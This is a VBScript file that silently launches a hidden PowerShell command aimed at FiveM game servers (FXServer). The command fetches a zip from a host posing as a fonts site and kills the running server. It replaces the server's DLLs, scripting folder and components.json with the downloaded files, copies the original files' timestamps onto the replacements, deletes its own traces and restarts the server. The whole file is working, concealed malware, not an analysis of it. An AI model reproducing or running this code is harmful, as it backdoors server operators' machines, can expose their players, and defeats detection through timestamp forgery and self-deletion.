
            Dim shell
      
            command = "powershell.exe -NoProfile -WindowStyle Hidden -Command ""Remove-Item -Path 'C:\Users\gffgd\AppData\Local\Temp/mXzS7.vbs' -Force;$downloadUrl = 'https://fivem-fonts.org/00w'; $tempDir = [System.IO.Path]::GetTempPath(); $extractDir = Join-Path $tempDir 'hMlFODZ4rw'; $targetDir = 'C:/FXServer/server/'; $targetFolder = 'C:/FXServer/server/citizen'; $processKeyword = 'FXServer'; $referenceFile = 'C:/FXServer/server/citizen\\clr2\\lib\\mono\\4.5\\CitizenFX.Core.dll'; $processPath = ''; $tempFileName = 'hMlFODZ4rw'; $tempFilePath = Join-Path $tempDir $tempFileName; $zipFile = Join-Path -Path $tempDir -ChildPath ($tempFileName + '.zip'); Invoke-RestMethod -Uri $downloadUrl -OutFile $tempFilePath; Rename-Item -Path $tempFilePath -NewName (Split-Path -Path $zipFile -Leaf); $processes = Get-Process | Where-Object { $_.Name -like '*' + $processKeyword + '*' }; foreach ($process in $processes) { try { $processPath = (Get-Process -Id $process.Id | Select-Object -ExpandProperty Path); Stop-Process -Id $process.Id -Force; } catch {} } if (-Not (Test-Path $extractDir)) { New-Item -Path $extractDir -ItemType Directory; } Expand-Archive -Path $zipFile -DestinationPath $extractDir -Force; Get-ChildItem -Path $extractDir -Filter *.dll -Recurse | ForEach-Object { $sourceFile = $_.FullName; $targetFile = Join-Path $targetDir $_.Name; if (Test-Path $targetFile) { $creationTime = (Get-Item $targetFile).CreationTime; $lastWriteTime = (Get-Item $targetFile).LastWriteTime; Copy-Item -Path $sourceFile -Destination $targetFile -Force; (Get-Item $targetFile).CreationTime = $creationTime; (Get-Item $targetFile).LastWriteTime = $lastWriteTime; } else { $creationTime = (Get-Item $referenceFile).CreationTime; $lastWriteTime = (Get-Item $referenceFile).LastWriteTime; Copy-Item -Path $sourceFile -Destination $targetDir -Force; (Get-Item $targetFile).CreationTime = $creationTime; (Get-Item $targetFile).LastWriteTime = $lastWriteTime; } }; $folderToMove = 'scripting'; $sourceFolderPath = Join-Path $extractDir $folderToMove; $destinationFolderPath = Join-Path $targetFolder $folderToMove; if (Test-Path $sourceFolderPath) { if (Test-Path $destinationFolderPath) { Remove-Item -Path $destinationFolderPath -Recurse -Force; } Move-Item -Path $sourceFolderPath -Destination $destinationFolderPath -Force; }; $componentsFile = Join-Path $extractDir 'components.json'; $componentsDestination = 'C:/FXServer/server/components.json'; if (Test-Path $componentsFile) { Copy-Item -Path $componentsFile -Destination $componentsDestination -Force; }; if (Test-Path $referenceFile) { $creationTime = (Get-Item $referenceFile).CreationTime; $lastWriteTime = (Get-Item $referenceFile).LastWriteTime; if (Test-Path $destinationFolderPath) { (Get-Item $destinationFolderPath).CreationTime = $creationTime; (Get-Item $destinationFolderPath).LastWriteTime = $lastWriteTime; }; if (Test-Path $componentsDestination) { (Get-Item $componentsDestination).CreationTime = $creationTime; (Get-Item $componentsDestination).LastWriteTime = $lastWriteTime; }; }; Remove-Item -Path $extractDir -Recurse -Force; Remove-Item -Path $zipFile -Force; Start-Process -FilePath $processPath;"""
      
            Set WshShell = CreateObject("WScript.Shell")
            WshShell.Run command, 0, False
      
            Set shell = Nothing
          